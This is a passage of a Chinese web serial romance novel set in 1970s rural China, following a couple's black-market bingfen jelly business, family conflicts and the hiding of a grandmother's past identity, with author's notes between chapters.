“……我还以为她是你对象,害我白高兴一场,还好那孩子性格好,还给我台阶下。” 说完这句话,她反应过来,声音猛地提高:“你管她叫姑姑?!” 尚敏又夹了一筷子菜,不得不说,温如嫣做菜的手艺确实很好。 面对她娘的责问,她镇定回复:“对啊,她是温淼的姑姑,我和白青淼淼都是朋友,不叫姑姑叫什么。” 为此,听到尚母叫温如嫣嫣嫣,她一时都反应不过来这是在叫温如嫣。 “她不是我对象,娘你想到哪去了?我哪里突然冒出来个对象” 整天在罐头厂忙都忙不过来,她也淡了找对象的心思。 一切都只能看一个缘分。 尚母听见这回复,没忍住抚了抚心口。 也难怪尚敏说喜欢女人但这么多年来一个人都没往往家里带。 她现在算是看明白了,自己女儿就是个实打实的木头! 温如嫣这么好个姑娘,她居然一点都没有动心! 尚母咬牙道:“你知道你比嫣嫣就小三岁吗?你还好意思叫人家姑姑。” 尚敏一愣,凤眼微微睁大,上挑的眼尾有些疑色。 “……她只比我大三岁?” 这一点尚敏确实没有想到,毕竟虽然温如嫣看起来年轻,但她是温淼的亲姑姑,尚敏便以为两人之间的年龄差距肯定有一些。 没想到她们的事实年龄差距这样小。 只差三岁。 ……那自己还叫了她那么多次姑姑。 想到这,尚敏觉得心里有些尴尬。 见她还一副木头的样子,不说话。尚母最后还是没忍住明着开口提问。 “这孩子这么好,你不喜欢?” 只是短短小半天不到的接触,尚母就对温柔知礼的温如嫣有了不少好感。 她不信尚敏没有其它心思。 听她娘这么说,尚敏突然想到昨天吃饭时温如嫣给她剥的虾。 虽然她的本意不是想吃虾,但确实被温如嫣照顾了。 温如嫣确实很好,这话尚敏不否认。 只是……尚敏认真对尚母开口道:“娘,姑……温如嫣她很好,但是她不一定喜欢女人,而且我对她也只有朋友之间的喜欢。” “下次她再来的话,娘你别说这些话,会让她尴尬的,这样不好。” 也对,温如嫣不一定喜欢女人。 尚母看了尚敏一眼,缓缓叹出一口气。 “娘知道,就是觉得你们俩也挺合适的,如果有机会能够在一起那多好啊。” 她和温如嫣在一起?尚敏想象不出那样的画面。 她们不可能在一起。 【作者有话说】 [化了][化了][化了]今天的居住环境太过恶劣,妈妈我想回家[爆哭] 应该有错字,明天回学校改一下 感谢投雷营养液,感谢评论订阅收藏 102 第102章 ◎冰粉◎ 陆霁最近焦头烂额地忙着养捡回来的大麻烦,过了好几天才想到要去邮局看看有没有季白青寄给她的信。 取到了信后,犹豫了一会儿,她在想是回自己的住宅还是回陆家。 说实在话,都不是什么好选择。 上次她没收住脾气,在陆家和陆有德大吵了一架。 因为陆有德想要把陆霁介绍给同级的同事那有残疾的儿子,跟她说的时候,陆霁并不愿意,陆有德觉得她不听话,将她狠狠骂了一顿,陆霁脾气上来,也没收着,直接当他面骂了回去。 即使最开始是陆老爷子想要卖孙女求荣,但最后陆母陆父却都劝她去找陆有德道歉。 陆霁难得没有按照她们的想法去做,也不想继续在陆家待下去,便干脆去了自己买的另一处住宅。 恰巧刚走到住宅的巷子口见到个长发圆眼,长得乖乖巧巧的姑娘被推出门外。 一句“快滚”落下之后,行李也砸到地上,门被快速关上。 面前有些深熟悉的一幕让陆霁下意识就皱起了眉。 她想起了自己半大的时候,也被陆父他们用这样的话责骂过,只是那时候她不过是个孩子,除了陆家,并没有其它地方可以去。 所以她不服气,也只能憋在心里,讨好了长辈才能够留在家里。 这也是在存够了钱后陆霁立刻就在京市买了一处住处的原因之一。 此时看着面前愣愣盯着大门的姑娘,她忽然想到幼时无助的自己,一向冷硬的心也难以避免地生出恻隐。 她听到她自己开口:“如果没地方去的话,可以去我那将就一段时间。” 反正地方够大,两个人住着也不挤。 面前的姑娘闻言,瞬间转身看着她,眼中闪着光,笑容惊喜,圆圆的眼睛瞪大,看起来像是一只无害的动物幼崽。 她问:“姐姐,真的可以吗?” 如果当时就能够知道面前的女孩是表面乖巧的话,陆霁肯定不会把她领回家。 想到最近李从瑾在她那作的幺蛾子,陆霁揉了揉太阳穴,还是决定先回陆家躲躲,反正家里还有吃的,饿不死会做饭的小孩。 在外面将季白青寄来的信看完,得知陆延被关进了监狱,陆霁挑了挑眉,心情明朗了些。 将信收好,她去找了个朋友,吩咐她几句,给了钱后便往陆家走。 一回到陆家,刚推开门,就隐约听见了陆老爷子暴怒地训斥陆父的声音。 “看看你养的好女儿好儿子!说出去都是给我们老陆家丢面子!” 她走到书房前,陆母正将耳朵贴在门上,满脸担心地听着里面的动静。 见到了陆霁来了之后,陆母的眼睛一亮,也没有问她离开的这段时间去哪了,而是直接道: “阿霁,你快进去拦着你爷爷,别让你爷爷打你爸。” 陆霁弯唇看她:“妈,你就不担心我被老爷子打?” 毕竟全家谁不知道陆有德急起来的时候,无论男女都无差别动手。 再气一点,亲孙子陆延也照打不误。 陆母闻言,一噎。 她眼神里带了祈求:“你放心吧,爷爷最喜欢你了,不可能打你的。” 听了这话,陆霁在心里冷笑一声。 陆有德喜欢她就有怪了。 如果她是个男人的话,这话还有一定的可信度,但她可是陆老爷子最嫌弃的孙女。 但在陆母祈求的眼神下,她还是敲了敲书房的门,门没有锁,她推开进去,语气一瞬间就变得带着慌乱。 “爸,爷爷,我听别人说陆延他进监狱了?这是真的吗?” 闻言,屋内的两个男人同时看向陆霁。 陆有德黑着脸,声音发沉:“你从哪里听到的?!” 自从收到了陆延因为纵火入狱的消息后,陆有德的心情就没有好过。 他怎么都没有想到,陆延竟然这么蠢。 放火对付温向荣,还能被人抓到把柄。 这件事说出去,陆有德都觉得面上无光。 所以得到了消息之后,他立马就耳提面命让知情的人不能将这消息说出去。 “大街小巷都是。”陆霁的神色有些无辜。 在听了陆霁的话后,陆老爷子立马看向陆父。 这件事就只有他和陆父两人知道。 “孽子,我不是让你不要说出去吗?!” 陆父也有些茫然,唇瓣嗫嚅一番,在陆有德阴鸷的注视之下低下了头。 “我、我没有说出去。” 陆霁在一边看热闹,此时即使多嘴道:“可我就是在路上听到的消息,说我们陆家出了个纵火的坏种,还说……” 她小心看了一眼陆有德。 陆有德的脸色越发沉了,他道:“说什么?!” 陆霁道:“说爷爷你教子无方,枉为首长。” 这话一出,陆父的身体一抖,下一秒一个杯子摔在他面前,碎片炸开,弹在他的腿上。 “陆志杰,看看你干的好事!” 他的面色铁青,怎么也没想到这个儿子这点秘密都守不住,现在事情被传播出去,损坏了陆家的名誉也就算了,还连累他的名誉也跟着受损。 陆父站在原地一动不动,过了好一会儿才开口道:“我,没说出去,爹。” 陆霁上前一步,站在了陆父的身边,开口为他求情:“爷爷,爸他现在没印象,肯定是喝醉的时候不小心和别人说的。他不是故意的,你就别怪爸了。” 这段时间,陆父确实去了不少的酒局,每天回来的时候都喝得醉醺醺的。 他醉了之后也全然不记得自己说了什么。 听了陆霁的解释后,陆父虽然疑惑,但再也说不出什么解释的话来。 陆有德拍着桌子站起来,随手抓起桌上的东西就往陆父的身上砸。 其中一本书的书页锋利,站在他身边的陆霁被误伤,雪白的脸颊被划出来一道血痕。 陆霁在心里啧了一声,没去管那伤势,只是走到陆老爷子身边,扶着他的手温声安抚道: “爷爷,别气了,爸又不是故意的,只是喝多了而已,因为这气坏了身体的话那就得不偿失了。” “虽然陆延入狱的消息被传出去了,但是之后他出狱,有机会回来的话,他还是我们陆家的继承人,到时候京市的人只要亲眼见到陆延就能知道陆延有多优秀了。不过是两三年而已,爷爷你的名誉也就这段时间被影响,但谁不知道你做出来的贡献。” 最后一句话说得陆老爷子的心情舒缓了几分,他慢慢坐下来,喝了一口水之后沉吟道: “这样下去也不是办法,阿霁,你有什么法子吗?” 陆霁的唇角微微扬起,“我不过是个女人,能有什么想法。” 陆有德皱着眉头,此时一改以往的说法,只道:“我们陆家的孩子,不管什么男男女女。” “阿霁,你弟弟没本事,以后还这样的话,陆家还是要交给你的。” “毕竟你是在我身边长大的,你才是我养大的孩子,陆延没出息都是你妈爸给惯的!这样,我们登个报,就说陆家以后的继承人就是你。” 说到最后,陆有德越发觉得这是可行之计。 这年头哪有女人做继承人的?但他陆家就是这样做了!那还不能被夸赞吗?! 更何况,陆有德不愿听别人对自己的非议,他只想要听见自己的好话。 陆延没本事,那他就撇清自己和他的关系,在明面上换一个继承人便不用被人批评了。 至于以后到底要怎么样,还是要看陆延出狱后到底能不能长点记性,不能的话……那他只能在陆家的旁系挑出一个人来了。 陆有德心里那点想法,陆霁猜的透透的。 她笑着拒绝:“爷爷,我哪有这本事,您还是等着陆延出狱吧,别瞎折腾了。” 说完,她没管陆有德突然变得难看的神色,推开门出去。 陆母见到她后,立马往里探:“你爸怎么样?没事吧?” 热风往陆霁的脸上刮,她能感受到脸颊处的刺痛,而陆母却对此视而不见。 陆霁有些心冷,冷淡道:“死不了。” 陆母瞪她一眼:“你这孩子!” 还没说完,陆霁就走了。 出了陆家的大门,陆霁缓缓吐出一口气。 看完了热闹,还是回去吧。 虽然家里有个爱闹事的小孩。 走着回到家,刚将门拧开,喷香的饭菜气味涌出,她就听见了李从瑾的声音。 “姐姐,你回来了,吃饭了!” 李从瑾一抬头,见到她后皱着眉,立马将手里的菜放下。 “脸上的伤怎么弄的?” 陆霁换了鞋绕过她:“大人的事小孩别管。” 李从瑾脸色微沉,找了碘伏出来,不顾陆霁的反抗,按住她的手后帮她上药。 见小孩难得发沉的脸色,陆霁有些恍惚。 她妈都没有注意到的伤,这小孩竟然这么关心。 好吧,这段时间不算白养- 周一,温如嫣要在卫生所值班,照顾温向荣的事就落在了温淼和季白青身上。 其实也不用特别费心,毕竟温向荣虽然受了伤,但拄着拐杖自己一个人也走得利索。 只不过目前是被人按着不许乱动弹而已。 在医院守了温向荣几天,实际上能做的事也不多。 每天温向荣有隔壁床的大婶陪着说话解闷,只需要有人递个水,擦身、洗漱这些事她自己就能够完成,季白青和温淼干得最多的就是每天给她送饭。 几天之后,季白青又开始琢磨着继续上黑市做生意。 虽然手里剩下的钱还有不少,但是钱不嫌多。 多赚点钱养老婆是季白青的最终目标。 和温淼商量了一番后,她们两个人每天上午一起上镇里,上午温淼就在医院守着温向荣,季白青去黑市卖吃食,等她卖完之后便去做好饭送来。 温淼没有异议,虽然也有些好奇黑市,但害怕自己会给季白青添麻烦,便没有提出来。 更何况,温向荣这边还需要她守着。 现在夏天天气炎热起来,季白青没再打算做热食,而是打算做冰粉。 她前段时间上山摘山葡萄的时候,偶然发现了一颗冰粉树。 现在的天气做热食不容易保存,吃食卖不完很容易就馊掉了。 如果做凉粉的话,不仅不容易坏,还能够解暑。 这玩意儿在后世畅销,不过季白青倒是不知道现在好不好卖。 她决定先尝试一天,从供销社买了一个带盖的铁桶,又买了红糖。 提前一天去山上摘了冰粉籽,将冰粉籽用干净的纱布包裹住,再打一盆清凉的井水,反复揉搓到水变浑浊后再倒入提前澄清好的石灰水,搅拌均匀后她放在阴凉的地方静置,再有几个小时就凝固成冰粉了。 将冰粉划开,季白青将其放在了井水里镇着。 要睡觉之前,她盛出来给何香月和温淼她们盛了一碗,自己也咕噜咕噜喝了一碗。 被冰镇过的凉粉沁凉,只是喝着没有加红糖水和薄荷水的凉粉就觉得分外解暑。 温淼的那碗她加了些红糖水和薄荷水,又甜又凉。 她喝了一口,对季白青竖起大拇指。 “好喝,肯定可以卖出去。” 见她面上的笑,季白青心里成就感满满。 她想,就算是明天卖不出去也没关系,那还可以单独做给温淼她们吃。 反正老婆爱吃。 想到这里,她嘿嘿一笑。 不过她提醒:“好喝今天也只能喝这一点。” 这玩意凉,喝多了可能会腹痛。 温淼扁了扁嘴:“好嘛。” 季白青揉她头发,笑眯眯夸人:“我们蓁蓁最乖了。” 温淼将她手拍开,白她一眼。 哪有这样夸人的,她又不是小孩儿。 她用勺子挖起来一块冰粉,喂到季白青唇边。 “甜的,你尝尝。” 季白青吃下,甜的确实要比无色无味的要好吃些。 就是在她不爱吃甜的情况下觉得有些太甜了。 见她脸颊皱起,温淼有些奇怪。 “不好吃吗?” 季白青煞有其事开口:“我吃着怎么是苦的?” 温淼的秀眉拧起,狐疑看她一眼。 “苦的?” 她低头又尝了一口,冰凉甜爽,并没有尝出来苦味。 季白青凑过去,噙住她的唇瓣。 刚刚吃过冰粉,女人的唇面上都带着几分甜。 缠着她的舌尖将其带到自己口腔里,甜滋滋的味道在季白青的嘴里漫开。 比刚才吃的凉粉都要甜几分,但季白青却很喜欢。 黏黏腻腻地拉着人亲了好一会儿,唇都热了起来。 最后放开温淼,看她眼里不自觉蒙上几分水雾,季白青问:“是不是苦的?” 温淼的反应慢半拍,抿了抿唇后,感受到口中属于另一个人的清凉味道。 过了一分钟,她作势要去打季白青,眼睛睁圆怒视她。 “根本不是苦的!” 骗人! 季白青面不改色说土味情话:“那都是因为你太甜了,所以一亲到就不苦了。” 温淼不语,只是在她身上梆梆打了两拳。 “烦死你了。”她咕哝。 季白青看她气鼓鼓的脸,伸出手指戳了戳。 “好啦,”她脸色有些无辜,“不过是想要找个理由和你亲吻而已。” 又哄了她几句,温淼才别别扭扭地又开心起来。 明天要早起,两人吃了凉粉后洗漱完很快便上床睡了。 第二天一早,季白青上了山摘了些新鲜的野葡萄,洗干净后用另外的东西装好,将桶放在车后座固定好。 季白青叮嘱温淼道:“灶房留了早饭,待会儿自己上镇里多小心。” 温淼在她脸颊上亲一口:“知道啦,放心吧。” 季白青弯唇,骑着车往黑市赶。 到地方的时候将准备好的灰往脸上一抹,带上口罩和帽子,她将东西摆开。 太久没来黑市,几个月的时间,来这里摆摊的人又多了些。 她刚到没多久,便有人认出来是她,笑盈盈问:“同志,今天卖些什么?” 季白青那个给她打开桶盖,看里面的凉粉,声音低沉:“冰粉,解暑,大热天喝一碗冰冰凉凉、还可以消暑气啊!” 此话一出,又有几个人凑了上来,七嘴八舌讨论。 “这玩意儿能凉快吗?真的假的?” “看起来好像不太好吃。” “可以试吃吗?” 季*白青有些为难,“不好意思啊,今天的不方便试吃。” 她解释:“这个在井水里冰过一夜的,现在很凉快,加上红糖水之后味道是甜的。” 听到还有红糖水,季白青以往的老顾客没再犹豫,“多少钱一碗?给我来一碗。” “三毛钱。”季白青笑眯眯收下钱,利索地用带来的碗给她盛上一碗。 淋上一勺红糖水后,又往里加了几颗山葡萄。 那女同志尝了一口后,只觉得被太阳晒出来的浑身暑气都消散不少,她微微眯起眼睛,对季白青竖了个大拇指。 “好吃,很凉快!” 闻言,其她有些心动的人也没有再犹豫,将自己的饭盒递上去。 “我要一碗,就在这吃。” “我要两碗,带回去,同志帮我多加点红糖水。” “同志,我也带回去,我的这一碗要多加点山葡萄。” …… 季白青一一将冰粉盛好给她们,见有人愿意买单也松了一口气。 虽然来之前想过卖不出去也没事,但到底还是能够卖出去更好。 这么一大桶,最大的成本在红糖水上,算起来一桶也能够赚上二三十块。 冰粉生意都是断断续续的好,一有人凑过来就能开张好几单,偶尔又无人问津。 一个上午,桶里还剩了点儿底,季白青没有继续在黑市卖下去,将剩下的冰粉倒在饭盒里,准备待会儿拿去给温向荣她们尝尝。 桶和碗则是被她暂时拿到了胡蝶家放着,她顺带进去洗了把脸,将脸上的灰和汗擦干净。 到了医院的时候,温向荣和邻床大婶聊天,温淼拿了本书在看。 听见了季白青进门的动静,温淼抬起头来,看了她一眼。 季白青将饭盒递给温向荣:“奶奶,我买了点冰粉,你和大婶分着吃。” 大婶笑呵呵地拒绝:“哎哟,你这孙女媳人可真好,不过婶子我就不吃了,你们花钱买的呢。” 季白青拿过她床边放着的碗,将冰粉分开两份,递给大婶:“婶子,你就吃吧,这没多少钱。” 大婶见状,只好收下。 温淼拉着季白青悄悄出去,两人在走廊上说悄悄话。 “卖完了吗?” 季白青摇头:“还剩一点,不过不多,明天也许会好卖一点。” 她脸上带着轻松的笑,但温淼看着她被晒得发红的脸,就知道肯定不像是说的那么轻松。 拿出手怕,温淼抿唇帮她擦着额角鬓边的汗,心疼道:“脸都晒红了。” 季白青挠挠头,“太久没去了,今天选的地方不太好,明天就选个阴凉的地方。” 温淼点头,虽然知道她自己心里有打算,但还是没忍住叮嘱:“如果实在是太热了,就别卖了,身体最重要。” 季白青点头,“知道了,放心吧蓁蓁。” 冰粉生意连续做了几天之后,名声渐渐打开,不少人来黑市都是为了买冰粉回去解暑。 现在本来就是八月份,天气热的不行,走在街上晒一会儿,汗出得像是洗了个澡。 城里人虽然日子也都过得紧吧,但手里多少还是存了点钱,也就在夏天多买几碗冰粉的事,便也没心疼那点钱。 现在正值暑假,不只是大人喜欢吃,小孩也想着这一口甜丝丝的冰粉。 而且冰粉本就凉快,滴上薄荷水后更增了解暑的功效,夏天吃上一口格外畅快。 赚了一个八月的凉粉钱,转眼就到了九月。 九月天气仍旧炙热,温向荣修养了一个多月,腿伤好得差不多了。 虽然还在恢复期,但是现在走路已经看不出什么别扭。 季白青将温向荣接回了新房那边修养,还没和何香月商量好什么时候让温向荣在村里露面,就收到了一个好消息。 学校那边的意思是,温淼现在可以复工,继续去小学教书了。 闻言,温淼和季白青倒是都挺高兴的。 毕竟温淼本就挺喜欢教书这一份职业,能有工资拿,活也不算太累。 现在家里的情况也有所缓解,温向荣也不再需要人另外照顾,这个时间点继续回学校上课,倒是正好。 不过温淼到底还是有些心结,没有立马答应校长,而是跟她说需要时间考虑一下。 季白青和她回屋的时候,有些疑惑。 “蓁蓁,你是有什么顾虑吗?” 温淼看她一眼,轻轻点头。 “阿青,我……” “对不起。” 季白青拧眉,“又在胡说什么呢?你哪对不起我了?” 温淼抿着唇,在内心将语言组织一番后才发出干涩的声音。 “当时因为我和奶奶的影响,让你工农兵推荐大学的名额没了。” 季白青揉了揉眉心,怎么都没想到原本就解释过一遍的事还能让温淼这么耿耿于怀。 不过这也确实附和温淼的人设。 她无奈一笑:“蓁蓁,我不是安慰你,只是我真的不在意这个名额,比起我自己一个人去上学,我更想要和你一起去上学。” 温淼眨眼,有些奇怪:“可是我……推荐名额只会有一个。” 虽然偶尔会有两个,但是那是再少见不过的事了。 所以季白青所说的两个人一起去上大学的假设根本不会成立。 季白青看着她,眸中带了几分认真。 “高考会恢复,或许就在这几年,陆霁跟我说的。” 她只能拉上陆霁当做挡箭牌,毕竟她虽然恢复了记忆,但是却实在是不希望再让温淼想起那些糟糕的记忆。 这是她的一点私心。 温淼现在开开心心的就好,坏的回忆季白青自己承担。 闻言,温淼顿时怔住。 她话语中还有几分不可思议。 “真的吗?” 季白青点头:“应该是真的。” 温淼慢慢抿出个笑,扣着季白青的手,柔声道:“我也想要和你一起上大学。” 既然这样,那她也愿意继续回到学校当老师。 见温淼的心结被解开,季白青舒出一口气,和温淼一起去找了校长。 办好了复职手续后,等到周一,温淼便正式回到学校继续上课了。 前一段时间的议论早就淡了,加上她背后有季白青撑腰,现在她在学校教书也没有人敢在她面前多说什么,又恢复了原本平淡的生活。 季白青则是趁着温度还没有降下去,这段时间仍在卖冰粉。 偶尔有空便会去学校门口接温淼下班。 这天上午提前将冰粉卖完后,季白青将东西带回家洗干净,蒸上米饭,又备好了菜,见还有时间,便准备去学校接人。 在去学校的路上,季白青眼神余光瞟过河边,却突然看到河里有个人在扑腾。 看身形像个女同志。 见有周围有人要过来,顾忌着女同志的名誉,她没多犹豫,跳下去立马将人捞上岸。 看清人是谁后她才微微皱了皱眉,将人侧过去让她好将呛进去的水吐出来。 将人拽到隐蔽些的地方,季白青问:“没事吧?” 潘红霞惊魂未定地点了点头,面色苍白,断断续续地咳嗽。 她喃喃道:“谢……谢谢你。” 季白青直接发问:“沈念念推的你?” 见她点头,季白青在心里暗骂一句。 沈念念是不是脑子有什么问题,那么喜欢把别人往水里推。 陪了潘红霞一会儿,见她镇定了几分,周围的人也离开了,季白青便道:“你等衣服烘干了再回去吧,我先走了。” 潘红霞抱着膝盖,看她慢慢走远,直到看不到人影后才低下头来。 季白青回去换了身衣服,将湿发的水拧干,见没耽误多少时间,这才准备再去学校。 犹豫一会儿,她还是多带了件薄外套,路过那处地方的时候,潘红霞果然还在那,她将衣服丢给她,没再继续耽误时间。 温淼出学校的时候,看见季白青半湿的头发有些奇怪。 “大中午你洗头发了?” 她凑过去小狗般耸着鼻尖嗅了嗅,却没有闻到什么洗发膏的味道。 季白青无奈解释:“刚过来的时候看有人掉河里的,见义勇为把人给救上来了。” 温淼没多说什么,和她一起回去,盯着她洗了个澡和头才放心。 饭桌上,何香月道:“这几天阿青什么时候有时间,就带婶子去镇上,我再把她带回来,到时候再跟村里人解释这是我城里来的婶就行。” 季白青点头。 只是温淼有些犹豫,回到房间后对季白青道:“我们村里还有个人见过奶奶。” “谁?” “潘红霞。” 听到这个名字,季白青忽然庆幸自己今天把人给救了。 “今天我救的人就是她,看着这份上她应该不会没良心地指认。” 闻言,温淼也终于放心几分。 第二日,季白青就将温向荣带到了镇上,两人在荫蔽之处等人,又过了一段时间,何香月坐着牛车慢悠悠地到了镇上。 季白青先带她们去了供销社买东西,何香月大半年没上过镇上,看见不少东西倒是都想买,又有季白青在一边劝: “奶奶,娘,你们买什么都行,赚钱不就是花的,我有钱。” 最后,两人挑挑拣拣买了点心和日用品,付了款后高高兴兴地准备回去。 季白青骑着自行车先一步回到村里。 何香月带着温向荣上了牛车,晃晃悠悠地往村里走。 牛车上都是同村的人,见到温向荣一个陌生面孔都有些好奇。 老太太将自己打理得齐整,但她们却都没见过的。 最后还是跟何香月走得近的一个老姐妹先开了口: “香月,这是谁啊?” 何香月笑着介绍:“这是我婶子,我叔前段时间没了,她又没有个儿子,一个人在城里住着孤单,所以我接她来我家住一段时间。” “以后要是住得习惯的话,就在村里定居了!” 闻言,老姐妹怜惜看了眼温向荣,立马道:“婶,我和香月是朋友,有什么事你尽管找我就行!” 其她人闻言,也都在七七八八的搭话。 “婶子,我们村里的人都可好了,你遇上什么难事尽管开口。” “对啊,香月的婶子就是我们的婶子。” …… 等到温向荣和何香月回到家的时候,村里已经传开了与温向荣有关的事。 何香月的婶子准备要在云水村住下了! 毕竟自己的地也不会被影响,对此,没人有意见,只是不少人十分好奇温向荣的长相,便在成群结队季家门口走走停停。 温向荣见状,干脆直接搬了张凳子坐在门口的树下,和来人聊天。 没多久就拉近了和村里人的距离,不少人在之后都对这老太太挺有好感。 谁也不知道,面前看起来和蔼可亲的老太太便是前一段时间她们无比唾弃的黑五类! 【作者有话说】 想吃冰粉,以及我回学校啦!芜湖! 对惹,之前开了个百分百订阅的抽奖,明天开,让我看看怎么个事 感谢投雷营养液和评论订阅收藏~~~[三花猫头] 103 第103章 ◎“你的手是不是坏了?◎ 温向荣没有被下放前在下属面前保持威严,看着严厉、不好接近,但在云水村的村民面前,又显现出截然不同的另一副面孔。 她原本也是乡下人出身,因为身体素质强硬,被选拔到部队,靠着一身的战功才到了首长的位置,所以在云水村生活、对着云水村的村民她适应得比当初温淼刚来的时候快得不知道多了多少倍。 温淼和季白青商量了一番,最后还是决定先继续在季家这边住着,季家还有一个空下来的房间,原本堆放了一些杂物,她们收拾出来,让温向荣住了进去。 九月初的农活还不算多,温向荣虽然腿脚还不大方便,但身份发生变化、生活有了盼头之后,她的精神头也好了不少,每天格外有干劲,虽然她现在没有在云水村落户,并不需要去上工,可她却还是闲不住。 在季家住下后,也就在家呆了一天,当晚就和何香月商量想要跟她一起去上工。 别的不说,至少帮她多干点活可以减少点何香月身上的负担。 何香月只以为她是因为不好意思在家住下的客套话,宽慰她几句后便笑着拒绝了。 没想到第二日何香月上工,温向荣也搬着一张小凳子跟在她身后。 何香月见她跟着来,脸上有些无奈,只能开口劝道: “婶子,你还是在家好好休息吧,腿上的伤都还没有好,就别瞎折腾了,等着修养好以后再说。” 温向荣现在骨折伤还没有完全养好,走路仍旧带了点跛,只是走路走得慢、或是不仔细看的时候看不出来什么。 温向荣笑眯眯地摆了摆手:“香月,你就放心吧,我现在好着呢,一点小伤,不会影响什么的。” 以前上战场的时候,她什么重伤没有受过,这和以往比起来都不算是什么。 见何香月仍旧目含担忧,温向荣给她看自己手里的凳子:“我拿了凳子来的,待会儿就坐着凳子,一点都不累,而且嫣嫣都允许了的。” 事实上如果不是温如嫣强调她不能久站,一定要带一张凳子来,否则她只能待在家里,温向荣肯定不会这么老实地听话。 闻言,何香月也只能勉强点头,放慢了脚步,和她一起往地里走。 今天的活不重,主要是将地里的芋头都挖出来,放进筐里,之后再统一放到仓库里。 何香月给温向荣拿了个小锄头,让她坐在凳子上慢慢挖。 原本也没想着温向荣能够做多少,可她的干活速度快,手脚利索,锄头拿在手里,等何香月一转头,就发现跟她比起来,温向荣也就落后她一点。 只是一个上午的时间,分配下来的任务在两个人的合力之下再有一两个小时就能干完了。 温向荣抹了把脸上的汗,笑着看了何香月一眼。 “怎么样,我的体力还不错吧?” 何香月点头,夸她:“温婶子可真厉害。” 她这话确实不是客套。 何香月拉着温向荣站起来,把板凳藏到地里,两人去河道边将手脚清洗干净,准备回家吃午饭。 路上遇到了知青点一行人,何香月拉着温向荣特地避开,小声在她耳边道:“婶子,这些都是知青点的人,不是什么好东西,以后见着她们就绕道走。” 这些都是村里人公认的事实了。 除了温淼之外,一共就只有五个知青,其中一个被送去了农场改造,一个进了监狱,怎么说都让人觉得晦气。 温向荣看着他们,最后锐利的眸子落在最边缘的人身上,眼睛微微眯起。 她总觉得有些眼熟,但还没等她想起这人的身份,何香月就扯着她的衣袖催促。 “婶子看啥呢,别看了,该回家吃饭了。” 温向荣这才转过脸去,温温和和对何香月一笑,跟着她一起回去。 留下刚才被盯得心脏怦怦跳的潘红霞愣在原地。 前天何香月有个亲戚要来村里久住的消息她也听到了,原本想要借着这个机会去季家门前转转,再顺带看看能不能遇上季白青。 毕竟季白青的外套还在潘红霞这里。 可是犹豫了良久,她还是心生胆怯,没敢往她们面前凑。 她怎么也没有想到在今天就能够见到传闻中何香月的亲戚。 回想起刚才那人的样貌,潘红霞死死咬住唇。 她不会记错的,看那人的长相分明是……温淼的奶奶! 潘红霞的家挨着温淼家很近,经常能够看到温向荣去温淼那看她。 沈念念见着何香月面露嫌弃拉着一个老太太走远,眼睛往上一翻,低骂一声:“真是狗眼看人低。” 被两个老女人用这样嫌恶的眼神看着,方海洋也面露不悦,在地上吐了一口唾沫,最后也只能道: “念念,我们回去做饭吧。” 沈念念应下,转身走了几步才发现潘红霞没有跟上来,远远落在身后, 她眉头一皱,提高声音,有些不耐烦:“潘红霞,走了!傻愣着干什么!” 潘红霞回过神来,几步跟上去,心神不宁地走在沈念念的身后。 她在想,所以何香月所说的亲戚是温淼的奶奶,也就是说——温淼的奶奶根本没有被烧死! 从黑五类变成身世清白的贫民。 季家的人愿意这么配合,那其中肯定少不了季白青的功劳。 潘红霞的心思有些微妙。 她怎么也没有想到为了温淼,季白青能够做到这种地步。 愿意为了她的亲人不继续受到压迫,步步为营,开始不顾名声帮着温向荣干活,最后又来了一出金蝉脱壳之计,帮温向荣摆脱黑五类身份。 她真的就那么喜欢温淼吗?潘红霞想,温淼除了长得好看一些,又有什么优点? 季白青怎么就那么肤浅,只看人的外貌。 想到柜子里被她叠得整整齐齐的那件外套,潘红霞的心有些泛酸。 到了知青点,沈念念见一回到屋里,潘红霞就坐下了,越发没好气道: “你坐着干什么?不知道还要做饭吗?” 知青点一向都是潘红霞帮忙生火,沈念念做饭,其他的重活落在方海洋身上。 潘红霞想着刚才的事,现在内心仍旧心乱如麻,开口道:“念念,我现在有点不舒服,你让方海洋去帮你生火吧。” 方海洋闻言,眉头皱得可以夹死一头苍蝇。 “我怎么没看出来你有哪里不舒服?这又不是我的活,你别想着我会干!” 平日里念着这是两个女人,他各种脏活累活都只能硬着头皮去干,现在这么简单的事都要他干?怎么可能! 沈念念也附和:“对啊红霞,你刚刚看着不是还好好的吗?怎么一回来就不舒服了,要是不想生火的话直说不就好了,哪里需要找这种借口。” 潘红霞的脸皮最薄,原本以为听了这话,潘红霞肯定就不会推脱了。 哪知道一向都是唯唯诺诺的潘红霞在她说完后却冷不丁地开了口:“好,我今天确实不想生火,你找方海洋帮你生火或者自己来都行。” 说完后,她紧紧抿住了唇瓣,站起身来往房间里走。 沈念念瞪大了眼睛,不可置信地看着她的背影。 潘红霞竟然有胆子敢对她说这种话了? 求助的眼神落在了方海洋的身上,方海洋烦躁地揉了把头发,最后还是跟着她进了灶房- 何香月原本跟温向荣的接触不算多,所以也并不熟悉,相处久了之后,却很喜欢这个为人处世都十分爽朗的婶子,更何况这还是温淼的亲奶奶。 知道女儿非温淼不可,她也是打心眼里喜欢这个未来女媳。 温向荣和何香月虽然隔着辈,但在一起久了之后关系也逐渐变好。 看着温向荣将村里的生活适应得很快,身体也慢慢恢复,季白青和温淼都放下了心。 温向荣和温如嫣现在都慢慢适应在云水村的生活,日子越过越好。 趁着热气温还没有彻底褪去,季白青准备继续先做下去冰粉生意,等到天气转凉后就可以将存下来的百来罐辣椒酱给卖出去。 她也在琢磨着天冷后做其它的生意了。 这天晚上,将冰粉做好放在井里冰着,季白青和温淼洗漱一番后回到床上准备休息。 明天温淼没有课,她撑着脑袋看着季白青,另一边的手和腿都搭在了她身上,海藻般曲卷浓密的长发垂下来,衬得肤白似雪,红唇娇艳,格外明媚。 身上的睡裙松松垮垮,因为动作随意,原本就宽松的领口大开,一片柔软的雪白呼之欲出,隐约可以瞧见粉蕊,格外媚人。 季白青把玩着她纤细柔嫩的手指,也就只是克制地看了一小会儿,随后开口问道:“看我干什么呢?” 温淼低下头在她脸颊上啄吻一口,有些不乐意:“不能看吗?” 季白青挑眉,“当然能。”看一会儿又不会少一块肉,更何况面前的人还是自己未来老婆。 刚把手搭在女人的腰肢上,她揉了揉,炽热的温度隔着布料传到腰上,温淼瞬间软了身体,下意识缩着身子往后躲。 季白青收回手,对此,她只能评价,又菜又爱玩。 她眼皮垂下,懒懒打了个哈欠,声音慵懒:“说吧,要和我说什么事?” 温淼见她没有别的意思,又别别扭扭地打了个滚,滚进她怀里,猫似的在她怀里蹭了蹭。 